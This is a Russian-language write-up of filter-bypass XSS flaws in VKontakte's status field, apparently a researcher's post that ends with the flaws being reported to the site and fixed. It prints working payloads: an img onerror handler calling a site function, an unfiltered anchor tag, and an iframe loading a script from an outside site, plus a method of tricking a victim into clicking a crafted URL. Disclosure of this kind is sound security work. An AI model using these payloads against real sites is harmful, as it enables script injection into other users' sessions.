Недавно я решил подготовить очередную презентацию, посвященную web-уязвимостям, в частности, XSS-атакам. Для этого мне нужно было изучить некоторые особенности современных систем фильтрации.

В качестве целевого сайта для тестирования я выбрал самый посещаемый сайт Рунета – vkontakte.ru. Мое внимание привлекла обновленная система статусов.

Код HTML-странички в месте, где происходит редактирование статуса, выглядит следующим образом:

Как видно, фильтр расположен непосредственно в функции infoCheck(). Сам же статус располагается в этой строке:

В данном случае имеем двухступенчатую фильтрацию. Первая ступень – непосредственно фильтрация у пользователя при вводе статуса. Вторая – преобразование введенного статуса в текст и возвращение его на страницу в том виде, в котором статус увидят другие пользователи.

В то время как вторая ступень работает безусловно хорошо, и превратить введенное пользователем в активную XSS явно не удалось бы, с первой не все так гладко. Именно о первой ступени и пойдет речь.

Как и предполагалось, простой

<script>alert()</script>

не сработал, статус остался пустым. Вариации на «околоscript-ные» темы тоже не прошли – судя по всему, конкретно эта последовательность фильтруется явным образом.

Однако, для выполнения скрипта вовсе не обязательно наличие тега

<script>

. Первая уязвимость на пользовательской машине достигается использованием тега

<img>

: введя в статус строку

<img src=1.gif onerror=some_function>

, мы добьемся выполнения этой самой функции. Для наглядности можно вызвать функцию profile.infoSave(), вызываемую с пустым аргументом при очистке статуса, с нашим аргументом. Так, введя

<img src=1.gif onerror=profile.infoSave('XSS')>

, получаем в статусе строчку “XSS”:

Вторая забавная уязвимость фильтра – в отсутствии фильтрования тега

<A>

. Вводим в статус

<A HREF="//www.google.com/">XSS</A>

и получаем… гиперссылку, по клику на которой открывается окно для редактирования статуса, а мгновением позже – сайт google.com!

Как мы помним, XSS = cross site scripting, поэтому в следующей уязвимости я решил использовать сторонний сайт с загруженным туда скриптом. Помимо отсутствия фильтрации вышеуказанных тегов, проходит фильтр и тег

<iframe>

. Таким образом, введя в статусную строку

<iframe src="yoursite.com" width="100%" height="300">

, получаем iframe с запуском того самого загруженного скрипта. Пример такого “айфрейма”:

Эта уязвимость является более серьезной, чем две предыдущие. Один из способов эксплуатации – составление URL для изменения статуса пользователя и последующий клик пользователя по этому URL жертвой. Еще до того, как статус будет опубликован, скрипт успеет выполниться на странице пользователя. Таким образом, получаем классическую пассивную XSS.

Уязвимости были актуальны с 01.08.2010 — с момента введения новой системы статусов. 01.03.2011 мы сообщили администрации сети ВКонтакте об обнаруженных уязвимостях, и 03.03.2011 уязвимости были закрыты.

Оставить мнение